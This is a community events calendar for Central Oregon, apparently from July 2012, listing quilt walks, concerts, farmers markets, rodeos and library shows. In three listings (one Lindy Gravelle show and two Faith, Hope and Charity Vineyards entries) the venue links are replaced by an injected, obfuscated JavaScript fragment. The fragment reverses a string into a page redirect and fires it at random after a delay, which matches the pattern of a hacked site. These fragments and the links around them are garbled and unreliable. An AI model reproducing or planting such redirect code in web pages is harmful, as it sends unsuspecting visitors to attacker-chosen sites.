Calendar of Events

Submit your events: events@cascadeae.com

Workshop listings can be found here. Workshop listings can be added for $15 in the print version of our magazine and on-line or free with paid ad.

July 1 -31
Around the Block Quilt Walk
Sisters: Sunday, July 1 – July 31
Old Mill District, Bend: July 6 – July 23 during regular business hours
The Quilt Walk features quilts made by our talented Central Oregon quilters. They are on display, many for sale, in businesses that sponsor the show as a thank you to them for their support. Take a walking tour of beautiful downtown Sisters and enjoy over 100 quilts in our local shops. Or visit The Old Mill District in Bend where quilts are also exhibited in more than 20 locations. Some businesses have one quilt, some have many, and they are all fabulous. Quilt Walk brochures with a map and list of participating businesses will be available at the Sisters Area Chamber of Commerce at 241 E. Main St., the Stitchin’ Post and participating businesses in Bend and Sisters throughout the month of July. When you visit them, please take a moment to thank our sponsoring businesses. Their financial support is critical to our success.
http://www.sistersoutdoorquiltshow.org  

July 6-14
Wish Upon A Card in Sisters
Exhibit, Sale & Silent Auction of Fabric Postcards
The “Wish Project” has become our signature fundraiser – donating over $50,000 to provide support services for cancer patients in Central Oregon. We are asking for donations of fabric postcards for our 6th annual juried show and silent auction. Selected cards will be custom framed, compliments of High Desert Frameworks!. Cards not selected for framing are sold and proceeds from the sale and silent auction are donated to Wendy’s Wish Foundation, www.wendyswish.org.
Sisters High School, Sisters Area Chamber of Commerce: July 6 – July 14
http://www.sistersoutdoorquiltshow.org
  
July 11-14
Roundup Horse Racing
3pm Crook County Fairgrounds, Outdoor Arena
541-447-4479, www.crookedriverroundup.com

July 12-15
RV Round Up at Deschutes County Fairgrounds
This is a large RV Show and Sale with over 250 RVs new and pre-owned. Quality pre-owned, Diesel Pushers, Motor Homes, Toy Haulers, Travel Trailers, 5th Wheels, Truck Campers, Tent Trailers and gas saving Ultra Light Trailers. The RV Round UP specializes  in buying RV’s and will take anything on the trade towards the purchase of an RV.  Show hours Thursday, Friday, Saturday 9am-7pm, Sunday 10am-7pm. This show is free to the public with free admission, free parking, and free RV appraisals.

July 12-21
BEAT’s HONK at 2nd Street Theater
Bend Experimental Art Theater (B.E.A.T.) is proud to present Honk Jr., the musical adaptation of Hans Christian Anderson’s story, The Ugly Duckling.  Incorporating a message of tolerance, Honk Jr., is a story of accepting others despite their differences, believing in yourself, and never giving up.
Performances will be at 2nd Street Theater at 220 NE Lafayette Avenue in Bend. Performance dates and times are:
July 12, 13, 14, 19, 20, 21 at 7pm
July 14, 15, 21 at 2pm
Reserved Seating/ Adults $15 Students $10
You can also purchase tickets online at: www.beattickets.org
 
July 13
Quilt and Art Show at Tumalo Art Works Gallery
9am – 6pm Live demonstrations & music, Hot Dogs & Lemonade, Kits for Quilts for Kids will be available for picking up, Corner of Highway 20 & Cook (big red barn)
Interested in showing/selling your quilt(s)? Email jae@sistersembroidary.com or call TAW Gallery at 541-706-9025.


July 13 MUSIC
Nefarious Jones at Silver Moon Brewing
8pm Funky rhythms, killer jams. Highly infectious. Breathe it in… now it’s a part of you! So get loose. Start the dance. Unleash the primal self – succumb to NEFARIOUS JONES! Go ahead and get funky. We want you to. Nefarious Jones has developed into an improvisational rock machine since redefining its rhythm section and adopting a “less is more” approach to jamming. Their sound is raw, eclectic & unpredictable – like an Ottoman bazaar skirmish or a Jovian convective storm. www.nefariousjones.com, nefariousjones@gmail.com.


July 13 MUSIC
Lindy Gravelle at Brassie’s Bar
7-10pm in Niblick & Greene’s Restaurant, at Eagle Crest Resort, =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andgreenes.com/”>www.niblickandgreenes.com, 541-548-4220


July 13 MUSIC
Horse Thief at Horned Hand
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July 13 MUSIC
Party On The Patio at Country Catering
4:30 – 8pm. Every Friday. All you can eat bbq $10.95 per person featuring live music from Soul Benders. 900 SE Wilson #B, Bend. 541-383-5014


July 13-15 MUSIC
Bend Summer Festival Concerts in Downtown Bend
Lite 95.1 Free Listener Appreciation Concerts: July 13, Rickie Lee Jones 9pm
July 14, Soul Benders 5pm, Gary Wright (“Dreamweaver”) 7:30pm, Al Stewart (“Year of the Cat,” “Time Passages”) 9:30pm.
In Mirror Pond Parking Lot
Tickets free and available by listening to Lite 95.1
Other music during the weekend includes: MOsley WOtta, Pat Travers, Kelly Joe Phelps,
Tony Furtado, Boomchick, Staxx Brothers, Polyrhythmics, Fishbone, Tom Grant Band, Upper Left Trio, Jessie Marquez Latin Quintet, Jeff Kashiwa, Pepe and the Bottle Blondes, Todd Haaby and Sola Via, Quincy Street Bluegrass/Gospel Band  , Northwest Community Gospel Choir (all-star gospel band from Portland), Ruthie Foster Band, Franchot Tone, Justin Lavik Band, Subliminal, Boxcar String Band, Necktie Killer, The Pitchfork Revolution, State of Jefferson, Laura Curtis, Bare Roots, Central Oregon Bluegrass Community Jam. www.c3events.com

July 13-29
BEAT presents Godspell
2nd Street Theater www.2ndstreettheater.com

 
July 14 MUSIC
1 Year Anniversary with Whiskey Shivers at Horned Hand
Austin, TX’s barefoot bluegrass bandits will be stopping in Bend as part of their “Rampa Head” West Coast Tour alongside Blake James Murray, Boxcar String Band and Rural Demons. Doors at 7, show starts at 8. $6 cover.
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July 14
Central Oregon Cool Cars & Coffee
8-10am Brookswood Meadow Plaza, at 19530 Amber Meadow Drive in Southwest Bend just off of Brookswood Boulevard.
Residents and visitors who have been looking to swap stories, share their automotive treasures or simply hang out with others who want to talk cars, are invited.  www.brookswoodmeadowplaza.com.

July 14
Tour Des Chutes at High Lakes School
Bend Oregon cycling event – proceeds go to The LiveStrong Foundation and the St. Charles Cancer Survivorship Program. Rides from 7-miles to a Century. www.tourdeschutes.org

July 14 MUSIC
Lindy Gravelle at Sisters Coffee Company
11am-2pm 273 West Hood St., Sisters, OR from It’s Quilt Show time in Sisters! Come on down for jumpin’ java, Lindy Tunes and awesome quilts!

 

July 14
Bend’s Got Talent at Bend Summer Festival
New to the Bank of the Cascades Bend Summer Festival is the Bend’s Got Talent Competition. Brought to the festival by KTVZ News Channel 21, this competition invites kids and adults to bring their talent (music, dance, comedy, acting, etc.) with performances in 5-minute vignettes on Saturday, July 14 12-3pm. The competition will be held on the KTVZ News Channel 21 “Bend’s Got Talent” stage, which will be located in the kids area on Wall Street in front of the Deschutes Public Library. The competition is for ages 5 and over. Age groups for judging and awards are as follows: 5-11, 12-17, and 18 and over. Acts must be preapproved and acceptable for all ages. Contestants have three ways of entering: Upload a video performance to YouTube and then email the link to meganz@c3events.com. Upload a video file to the C3 Events Facebook page, www.facebook.com/c3bend For musical performances only, upload an audio file to meganz@c3events.com C3 Events will choose up to seven acts in each age group to attend the competition. All applicants must also email meganz@c3events.com with a brief description of their performance, as well as full contact information, age, name, and a history of stage performance if appropriate. Please email meganz@c3events.com for more information.

July 14-15
Deschutes Dash in Old Mill District
Watch swimmers, cyclists and runners from one of the many fantastic vantage points – the footbridges that cross the river, the paths along the river bank or one of the fabulous restaurants in the Old Mill District. www.deschutesdash.com
 

July 14
Saturday Market downtown Bend
Downtown Bend, across from the Bend Library between Wall Street and Bond Street
www.centraloregonsaturdaymarket.com  

 

July 14
NorthWest Crossing Farmers Market
10am-2pm, Music by Lino Trio. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com


July 14
Sisters Outdoor Quilt Show
9:30am-5pm
37th Annual  Sisters Outdoor Quilt Show 
Saturday, July 14, 2012
Over 1300 quilts from around the world will cover our 1880’s-style town in rich texture and color. www.sistersoutdoorquiltshow.org  


July 14
Hero Rush in Redmond
The Redmond Chamber of Commerce & CVB and the Deschutes County Fair & Expo are excited to announce that Hero Rush, the dynamic new firefighter-themed obstacle race and experience, is coming to the Deschutes County Fair & Expo in Redmond.
For additional information, contact Eric Sande at the Redmond Chamber of Commerce & CVB at 541-923-5191 or Roxia Thornton Todoroff at 541-548-2711.

 
July 14
Solar Viewing at the High Desert Museum
Observe our nearest star from the Museum meadow safely with equipment from Pine  Mountain Observatory and Sunriver Nature Center (weather permitting). 11am-2pm.

July 14
Second Saturday Art Reception at Artists Gallery Sunriver

4-7 pm You’re invited! Come indulge your creative curiosities and mingle with others during our popular Second Saturday Art Receptions.
57100 Beaver Drive, Sunriver Village, Building 19, 541-593-4382, http://www.artistsgallerysunriver.com/art-receptions.html


July 15
Save It for Sunday in Sisters
www.sistersoutdoorquiltshow.org  
 

July 15 MUSIC
Lisa Dae and the Robert Lee Trio at Northside Bar & Grill
5-8pm Come and enjoy an evening of Jazz standards as sung by Lisa Dae with Robert Lee on guitar, Rob Norman on Drums and Jason Jackson on Bass.  No cover.
 

July 15 MUSIC
BoomChick at Horned Hand
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July 16-22
BATS! at the High Desert Museum
Meet these furry, flying live mammals, including amazing species from around the  world, close up in a special program with the Organization for Bat Conservation. Find out  what is killing these complex creatures at a catastrophic rate and the impact this has on  people, considering bats are important plant pollinators and can consume more than half  their body weight in insects nightly. 12:30pm and 3:30pm. $10 plus Museum admission. Members, $7. Tickets at the Museum and www.highdesertmuseum.org.  

July 17 MUSIC
Uke Jam at Broken Top Bottle Shop
6:30pm. Open to the public. 1710 Pence Ln  Bend.

July 17 MUSIC
Sound Lab at Hawthorn Healing Arts Center
6:30pm Sound Lab sound healing and experimental sonic mysticism sessions
Donation basis–just come if you feel inspired. Sound, vibration and music have for millenia been known, by cultures throughout the world, to be a fundamental part of what inspires human health, vitality and happiness.  Experience first hand this phenomenon as a rotating group of healers and musicians come together to co-create.  Many instruments, including strings, percussion, bowls, and the voice will be employed.  Just sit back, relax, and enjoy the music. 541-330-0334 or email info@hawthorncenter.com

July 17
OBRA Turn-n-Burn Barrel Racing at Crook County Fairgrounds
Outdoor Arena, 541-410-9737, Superturbopony@aol.com

July 17
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts. The Redmond Farmer’s Market will host its second annual Kids’ Day. Kids’ Day is a family oriented event featuring face painting, a bounce house, live music from Janelly Bean, games and an activity area, all geared toward kids. If the weather is hot, kids can also cool down in Centennial Park’s splash fountain. There will be a small charge for the bounce house, but all of the other activities are completely free.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.


July 17 MUSIC
The Alley Cats Jazz Ensemble at Bend Community Center
10:30am – 11:30am, 1036 NE 5th St each Tuesday. Come and listen/dance and then enjoy lunch (11:00am – 12:30pm) Donations accepted, 541-312-2069.  

July 17
Leapin’ Louie Comedy Show at Sunriver Library
11am High-energy comedy, cowboy tricks, juggling, puppetry, audience participation and attention to great children’s literature will be featured at the “Leapin’ Louise: Read! Fun! Now!” performance, presented by Deschutes Public Library. This program replaces the Sleeping Beauty marionette show, previously scheduled but canceled by Stevens Puppets.
Leapin’ Louie has performed his comedy variety shows on stages in 26 different countries around the world and he is a certified teacher with a Masters in Education. His programs are known not only for guaranteeing laughter, but also for promoting the importance of reading. This program is part of the Familypalooza series during the library’s summer reading program, “Dream Big—Read!” The program is free. 541-617-7099, or heatherm@deschuteslibrary.org.  

July 17
Leapin’ Louie Comedy Show at Juniper Elementary School
5:30pm High-energy comedy, cowboy tricks, juggling, puppetry, audience participation and attention to great children’s literature will be featured at the “Leapin’ Louise: Read! Fun! Now!” performance, presented by Deschutes Public Library. This program replaces the Sleeping Beauty marionette show, previously scheduled but canceled by Stevens Puppets.
Leapin’ Louie has performed his comedy variety shows on stages in 26 different countries around the world and he is a certified teacher with a Masters in Education. His programs are known not only for guaranteeing laughter, but also for promoting the importance of reading. This program is part of the Familypalooza series during the library’s summer reading program, “Dream Big—Read!” The program is free. 541-617-7099, or heatherm@deschuteslibrary.org.  

July 17 MUSIC
Carrie Nation and The Speakeasy at Horned Hand
8pm $5 W/ St. Christopher  (one man dirty blues)  (KS Hobo Dixie Thrashicana)
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July 17
Know Coffee Know ebooks at Sunriver Bellatazza
1:30pm ebooks and coffee at Bellatazza.  Learn about the libraries free digital downloads. 541-617-7087. www.deschuteslibrary.org/sunriver

July 18
Leapin’ Louie Comedy Show at Lynch Elementary School
11:30am High-energy comedy, cowboy tricks, juggling, puppetry, audience participation and attention to great children’s literature will be featured at the “Leapin’ Louise: Read! Fun! Now!” performance, presented by Deschutes Public Library. This program replaces the Sleeping Beauty marionette show, previously scheduled but canceled by Stevens Puppets.
Leapin’ Louie has performed his comedy variety shows on stages in 26 different countries around the world and he is a certified teacher with a Masters in Education. His programs are known not only for guaranteeing laughter, but also for promoting the importance of reading. This program is part of the Familypalooza series during the library’s summer reading program, “Dream Big—Read!” The program is free. 541-617-7099, or heatherm@deschuteslibrary.org.  

July 18
Leapin’ Louie Comedy Show at Sisters Library
3pm High-energy comedy, cowboy tricks, juggling, puppetry, audience participation and attention to great children’s literature will be featured at the “Leapin’ Louise: Read! Fun! Now!” performance, presented by Deschutes Public Library. This program replaces the Sleeping Beauty marionette show, previously scheduled but canceled by Stevens Puppets.
Leapin’ Louie has performed his comedy variety shows on stages in 26 different countries around the world and he is a certified teacher with a Masters in Education. His programs are known not only for guaranteeing laughter, but also for promoting the importance of reading. This program is part of the Familypalooza series during the library’s summer reading program, “Dream Big—Read!” The program is free. 541-617-7099, or heatherm@deschuteslibrary.org.

 July 18
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  


July 18 MUSIC
Alive After Five Concerts in the Old Mill District
Toots and the Maytals (w/special guest, Mosely Wotta)
Free www.c3events.com

July 18 MUSIC
Leroy Newport at Music in the Canyon
Music in the Canyon, 5:30 ’til 8pm A local Americana band from right here in Redmond, Oregon. Leroy is the ringleader with his banjo.
http://musicinthecanyon.com/

July 18 MUSIC
Freak Mountain Ramblers at McMenamins
7pm, free, all ages welcome
www.mcmenamins.com  

July 18 MUSIC
David Finch and Andy Warr at Flatbread Community Oven

July 18 MUSIC
Lisa Dae Jazz at Hola!
7-10pm http://www.holabend.com/
Hola! Downtown location on the corner of Bond and Minnesota. 541-728-0069.

July 18
Lecture: The Ecology of Coastal Migrations at Sunriver Nature Center
6:30pm Kelp Forests, Estuaries, Mangroves, and Coral Reefs: The Ecology of Coastal Migrations by Anatomically Modern Humans at the Hitchcock Auditorium, Pioneer Hall, COCC in Bend.  Lecture presented by Jon Erlandson, Executive Director of the Museum of Natural and Cultural History, University of Oregon. In conjunction with COCC’s Nancy R Chandler Visiting Scholar program, SNCO is sponsoring this lecture series on “How Did We Get Here? Human Origins, Evolution and Migrations”. This is the third lecture in this series.  Tickets are $10, $8 for SNCO members and $3 for students. 541-593-4442.

July 18
Picnic in the Park Pioneer Park, Prineville, Oregon
Kathy Boyd and Phoenix Rising-Bluegrass
Wednesday evenings, 6-8pm
541-447-6909

July 18
Last Saturday in the Old Ironworks District
5 – 11pm On the last Saturday of each month, go to 50 Scott St. in Bend, Oregon. There will be fun things happening. Businesses and galleries in the Old Ironworks District celebrate Last Saturdays on the last Saturday of each month. Times vary, but you will find art and music events beginning around 5:00 and going until 11:00 pm.

July 18 – 22
High Desert Classic (I) at J Bar J Boys Ranch
Showcasing world-class equestrian talent, the Oregon High Desert Classics is one of the largest and longest running horse show event in the Northwest and USEF “AA” rated Hunter/Jumper Competitions.  Over 500 professional and amateur equestrians from the West Coast and Canada will compete.
agow@jbarj.org, 541-610-5826, www.jbarj.org/ohdc

July 19 MUSIC
Munch and Music in Drake Park
Modern English (w/special guest Leaves Russell)
Free. www.c3events.com

July 19 MUSIC
Truckstop Honeymoon at Angeline’s Bakery
www.angelinesbakery.com, 541-549-9122
 
July 19 MUSIC
Diego’s Umbrella at Players
www.p44p.biz  

July 19
Thirsty Thursdays at Faith, Hope and Charity Vineyards
Every Thursday from now until August 30th, Faith, Hope and Charity Vineyards will stay open until 8pm for Thirsty Thursdays.  For detailed information on these events, check =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andcharityevents.com” title=”http://www.faithhopeandcharityevents.com/”>www.faithhopeandcharityevents.com, 70455 NW Lower Bridge Way, Terrebonne, 541-526-5075  

July 20 MUSIC
Party On The Patio at Country Catering
4:30 – 8pm. Every Friday. All you can eat bbq $10.95 per person featuring live music from Soul Benders. 900 SE Wilson #B, Bend. 541-383-5014

July 20 MUSIC
Lindy Gravelle at Zeppa Bistro
6-8pm Caldera Springs Resort, Sunriver.
www.sunriver-resort.com/oregon-dining-zeppas.php

July 20 MUSIC
JZ Band at Angeline’s Bakery
www.angelinesbakery.com, 541-549-9122

July 20 MUSIC
Voodoo Highway at Music in the Canyon
Music in the Canyon, 5:30 ’til 8pm Original rock-n’-roll done with a three piece band. Fine, fine music! Featuring local guitar hero, David Miller.
http://musicinthecanyon.com/

July 20-22
4-H Horse Fair at Crook County Fairgrounds
8am Indoor Arena, 4-H Arena, Free, 541-447-6228

July 20-22
Ukulele University (Uke U) at Runway Ranch
Bend Ukulele Group (BUGs) announces the first annual Ukulele University (Uke U).  Performances, luau, workshops and jams throughout the weekend long campout.
The Festival is anticipated to draw over 400 people from all over the US and should be an economic boon to the community.
BUGs started a year ago and now is a group of 50 local ukulele players and singers who meet every Tuesday to play and sing at Cascade Lakes Brewing
Company at 6:30pm.   Beginners are welcome.
541-390-4646, rogerontheriver@hotmail.com
www.ukeu.info


July 20-22
Balloons Over Bend at Riverbend Park
The hot air balloons launch each morning at 6am. Join us for the night glow on Saturday at dusk to see colorful hot air balloons glow brightly against the night sky.

July 21
Saturday Market downtown Bend
Downtown Bend, across from the Bend Library between Wall Street and Bond Street
www.centraloregonsaturdaymarket.com  

 

July 21
NorthWest Crossing Farmers Market
10am-2pm, Music by Boka Marimba. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com
 
July 21
Farm to Fork at Fields Farm
Fields Farm products will be joined by those of Maragas Winery, 10 Barrel
Brewing Company, Dancing Cow Farm, Tumalo Farms, and other local food producers. In addition to the products, winemaker Doug Maragas (Maragas Winery), brewer Jimmy Seifrit (10 Barrel), and farmers Jerre Kosta and Sean Dodson (Dancing Cow) will attend the event, sharing their stories with guests throughout the 5-Course farm dinner. The meal itself will be prepared by Chef T.R. McCrystalof Jen’s Garden. Event tickets are available by reservation only. Guests can make reservations online at
www.farmtoforkevents.com/purchase. Ticket prices for Farm Dinners are $75 and include a 5-course meal, 3 glasses of wine, a tour of the host farm, and producer discussions.
www.farmtoforkevents.com, director@farmtoforkevents.com

July 21 MUSIC
Chris Isaak at Les Schwab
Chris Isaak is well known for his pop-rockabilly sound with such songs as San Francisco Days, Somebody’s Crying, Wicked Game and Only the Lonely. His recent album, Beyond the Sun, recalls the glory days of the Memphis’ Sun Studio and the visionary artist who got their start there–including Elvis Presley, Johnny cash, Roy Orbison, Carl Perkins and Jerry Lee Lewis.
Chris Isaak was quoted as saying,” This is an album I’ve always wanted to make.” Get ready for a fantastic eveing of Chris Isaak showcasing his passion for the material while paying homage to the enternally influential Sun Records rosters of the mid and late 50s. Plus, enjoy all his hits over the years!
http://www.bendconcerts.com/detail.html?event_id=79

July 21
High Desert Garden Tour in Bend
9am-3pm View six beautiful gardens in the Bend area. A self-guided tour presented by the OSU Extension Service and OSU Master Gardeners™. Call 541-548-6088 for more information. $10 each for ticket books. Age 16 and under is free. Go on sale June 18. Tickets available at Round Butte Seed Growers, Strictly Organic Coffee Co., and Shoe Inn, Eastside Gardens In Redmond: Schultz Farm and Garden, and OSU Extension Service In Prineville: Round Butte Seed Growers. http://extension.oregonstate.edu/deschutes.


July 21 MUSIC
Floater at Domino Room
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July 21 MUSIC
Hivemind at Horned Hand
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July 21
Central Oregon Cool Cars & Coffee
8-10am Brookswood Meadow Plaza, at 19530 Amber Meadow Drive in Southwest Bend just off of Brookswood Boulevard.
Residents and visitors who have been looking to swap stories, share their automotive treasures or simply hang out with others who want to talk cars, are invited.  www.brookswoodmeadowplaza.com.


July 21
Hook In at First United Methodist Church
10am – 3pm High Desert Rug Hookers event with art work on display and demonstrators showing how the art work is done.  

July 21 MUSIC
The Mostest and The JZ Band at Parilla Grill
Show Us Your Spokes celebrates musical talent in an outdoor venue with discounts for concert goers who pound the pavement or spin their spokes to get there. A $6 per person concert fee is discounted to $5 for anyone who bikes to the concerts at Parilla Grill, located on the Galveston and 14th roundabout on Bend’s Westside. Parilla Grill serves global burrito-style wraps for lunch and dinner, as well as beer, wine and margaritas. 635 NW 14th Street, Bend. 541-617-9600.


July 21-22
Pee Wee Rodeo
9am Crook County Fairgrounds, Outdoor Arena
541-589-5841, www.copwrc.net


July 21-22
Hobie Demo Day at Elk Lake
10am – 4pm Little Fawn Campground – Elk Lake
Join Tumalo Creek Kayak & Canoe and Hobie Cat Company and demo Hobie’s fleet of fishing and sailing sit-on-top kayaks. On Sunday, Tumalo Creek will present a hands-on paddling/sailing clinic from 10am-2pm to educate and empower those who are new to Hobie Kayaks.
To get to Little Fawn Campground from Bend, drive 35 miles up the Cascade Lakes Highway, turn left on Forest Service Road 4625, and drive 1.7 miles.
Hobie Kayak Sailing Clinic costs $25. Please sign up online at www.tumalocreek.com.

July 22
Lahaina Galleries 36th Anniversary Party
9am – 2pm See new works by attending artists: Robert Bissell, Hisashi Otsuka, Alessio and Marcello Bugagiar, Donna Young, Mytchell Mead and Jason Waldron. For more info or to RSVP call 541-388-4404 Lahaina Galleries located in the Old Mill District right on the Deschutes River in the heart of Bend!

July 22 MUSIC
Farewell Drifters Free Summer Sunday Concerts at Les Schwab
2:30-4:30pm St. Charles Medical Center presents Farewell Drifters. Rising out of Nashville’s thriving indie music scene, the Farewell Drifters are an alt-folk band known for their 60s era-inspired harmonies and musical energy. They have created a seamless blend of intellectual psychedelic pop with melodic songs that openly explore the brightest and darkest corners of life with raw intensity. Twitter@bendconcerts


July 22
Bill Cosby at Deschutes County Fairgrounds
1pm, Hooker Creek Arena. Tickets will be on sale beginning Friday, April 27 in-person or charge-by-phone at Newport Avenue Market, 541-382-3940. Prices start at $32 for Floor General, and will sell at $38 for Upper Concourse General and $54 for Floor Reserved. Limited general admission tickets will also be available at Ray’s Food Place in Prineville. www.billcosby.com. For more details and updates on Bill Cosby’s visit to Central Oregon, visit www.c3events.com.


July 22 MUSIC
Emmylou Harris at the Athletic Club of Bend
Already celebrated as a discoverer and interpreter of other artists’ songs, Emmylou Harris has, in the last decade, gained admiration as much for her eloquently straightforward songwriting as for her incomparably expressive singing. On Hard Bargain, her third Nonesuch disc, she offers 11 original songs—three of them co-written with Grammy- and Oscar-winning composer Will Jennings— that touch on the autobiographical while reaching for the universal. She recalls the storied time she spent with her mentor Gram Parsons (“The Road”) and composes a sweet remembrance of the late singer-songwriter Kate McGarrigle (“Darlin’ Kate”) and the time they spent together, right up to the end. Harris locates poignancy and fresh meaning in events both historical and personal.
www.c3events.com

July 22 MUSIC
Moondog Matinee at Horned Hand
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 July 23
Star Trek: The Next Generation Anniversary at Old Mill Stadium
7pm Star Trek fans nationwide have the chance to catch Star Trek: The Next Generation on the big screen.  One night only
NCM Fathom and CBS TV present this special event that will feature two of the most popular Next Generation episodes: Ep. 106, “Where No One Has Gone Before” and Ep. 114, “Datalore.”  Painstakingly retransferred from the original source material during its ongoing multimillion-dollar restoration, this special anniversary event also celebrates the release of Star Trek: The Next Generation – The First Season Blu-ray on July 24.
In addition to the two episodes—which will be introduced by well-known Star Trek experts and restoration consultants Mike and Denise Okuda—fans will also be among the first to get a glimpse of the brand-new special features, including interviews with the team behind the restoration, as they discuss the process and countless man-hours dedicated to the upgrade of The Next Generation.
Tickets www.fathomevents.com.

July 24 MUSIC
Two/Thirds Trio at Caldera Springs
Friday Night Live series at Caldera Springs – Zeppa Bistro  

July 24
Can Chaser Barrel Racing at Crook County Fairgrounds
Outdoor Arena, Free, 541-416-9099, www.canchaser.com

 July 24 MUSIC
The Alley Cats Jazz Ensemble at Bend Community Center
10:30am – 11:30am, 1036 NE 5th St each Tuesday. Come and listen/dance and then enjoy lunch (11:00am – 12:30pm) Donations accepted, 541-312-2069.  

July 24 MUSIC
Uke Jam at Broken Top Bottle Shop
6:30pm. Open to the public. 1710 Pence Ln  Bend.

July 24
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.

July 24 MUSIC
Sound Lab at Hawthorn Healing Arts Center
6:30pm Sound Lab sound healing and experimental sonic mysticism sessions
Donation basis–just come if you feel inspired. Sound, vibration and music have for millenia been known, by cultures throughout the world, to be a fundamental part of what inspires human health, vitality and happiness.  Experience first hand this phenomenon as a rotating group of healers and musicians come together to co-create.  Many instruments, including strings, percussion, bowls, and the voice will be employed.  Just sit back, relax, and enjoy the music. 541-330-0334 or email info@hawthorncenter.com  

July 24
Bat Walk at the High Desert Museum
Join an exciting evening expedition in search of bats on our grounds using echolocator
equipment. 8pm-9:30pm. Members, $3; non-members, $5. RSVP: 541-382-4754 ext. 241 or www.highdesertmuseum.org/whats_happening/RSVP

July 24 MUSIC
Tropical Punk at Horned Hand
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July 25 MUSIC
Shook Twins at Pickin’ & Paddlin’
4-10pm Tumalo Creek’s Music Series on the back deck.
Proceeds support the Bend Paddle Trail Alliance, the organization that is working to transform the Colorado Dam into a whitewater recreation area.
Demo boats and stand up paddleboards in the Deschutes River 4-7pm.
805 SW Industrial Way, Suite 6, www.tumalocreek.com, 541-317-9407

July 25 MUSIC
Alive After Five Concerts in the Old Mill District
Laila Biali (w/special guest Marna Larsen Quartet)
Free www.c3events.com

July 25
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com
 

July 25
Socrates Café at Dudley’s
6:30-8:30pm, twice-monthly philosophical discussion group. The time is for philosophical sharing, inspiring each participant to reason and further discover his or her unique story, and to come to a keener sense of how we can best contribute to an evolving self and society. It’s held every 2nd and 4th Wednesday each month. Free.
http://socratescafepdx.wordpress.com/bend-oregon/

July 25 MUSIC
Windy Hill at McMenamins
7pm, free, all ages welcome
www.mcmenamins.com  

July 25 MUSIC
Music on the Green in Redmond
6-7:30pm Soul Benders www.visitredmondoregon.com.  

July 25 MUSIC
AJ Cohen & Co at Hola!
7-10pm http://www.holabend.com/
Hola! Downtown location on the corner of Bond and Minnesota. 541-728-0069.

July 25
Picnic in the Park Pioneer Park, Prineville, Oregon
234th Army Band-Jazz/Big band
Wednesday evenings, 6-8pm
541-447-6909

July 25-29
High Desert Classic (II) at J Bar J Boys Ranch
Showcasing world-class equestrian talent, the Oregon High Desert Classics is one of the largest and longest running horse show event in the Northwest and USEF “AA” rated Hunter/Jumper Competitions.  Over 500 professional and amateur equestrians from the West Coast and Canada will compete.
agow@jbarj.org, 541-610-5826, www.jbarj.org/ohdc

July 26 MUSIC
Munch and Music in Drake Park
Igor & The Red Elvises
Free. www.c3events.com

July 26 MUSIC
Ottmar Liebert at Tower Theatre
7:30pm Five-time Grammy Award nominee, guitarist and composer, and his band Luna Negra bring his distinct New Flamenco sound to the Tower.
Reserved Seating: $29, $39
Buy tickets at the box office 541-317-0700 or online at:
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July 26 MUSIC
Dead Tree String Band with Wild Eye Revolvers at Horned Hand
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July 26
Thirsty Thursdays at Faith, Hope and Charity Vineyards
Every Thursday from now until August 30th, Faith, Hope and Charity Vineyards will stay open until 8pm for Thirsty Thursdays.  For detailed information on these events, check =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andcharityevents.com” title=”http://www.faithhopeandcharityevents.com/”>www.faithhopeandcharityevents.com, 70455 NW Lower Bridge Way, Terrebonne, 541-526-5075  

July 26 MUSIC
Relay for Life Fundraiser at Bend d’Vine
